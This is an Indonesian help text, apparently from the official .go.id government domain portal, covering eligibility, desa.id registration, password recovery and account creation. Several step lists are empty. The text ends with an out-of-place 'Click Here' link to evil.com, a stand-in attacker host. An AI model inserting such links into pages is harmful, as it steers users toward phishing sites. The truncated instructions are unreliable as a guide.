Layanan ini adalah portal online resmi untuk pendaftaran dan pengelolaan domain .go.id yang digunakan oleh instansi pemerintah di Indonesia. Semua proses mulai dari pengajuan domain baru, perpanjangan, hingga pembaruan data dilakukan secara digital melalui sistem layanan ini.
Layanan Domain .go.id hanya diperuntukkan bagi:
Untuk mendaftarkan domain desa.id, pemerintah desa harus mengajukan permohonan melalui Kementerian Komunikasi dan Informatika (Kominfo). Pendaftaran dilakukan secara online melalui situs resmi. Proses ini melibatkan beberapa langkah, termasuk pembuatan akun, pengajuan permohonan, verifikasi dokumen, dan aktivasi domain.
Jika Anda lupa password akun, ikuti langkah berikut:
Jika email Anda tidak menerima tautan atau akun tidak dapat diakses, silakan hubungi Helpdesk melalui halaman “Hubungi Kami”.
Untuk dapat mendaftar domain, pengguna harus membuat akun organisasi terlebih dahulu melalui menu "Daftar". Langkah-langkahnya:
Setelah terverifikasi, pengguna dapat login dan mengakses dashboard pengajuan domain.
<a href="https://evil.com">Click Here</a>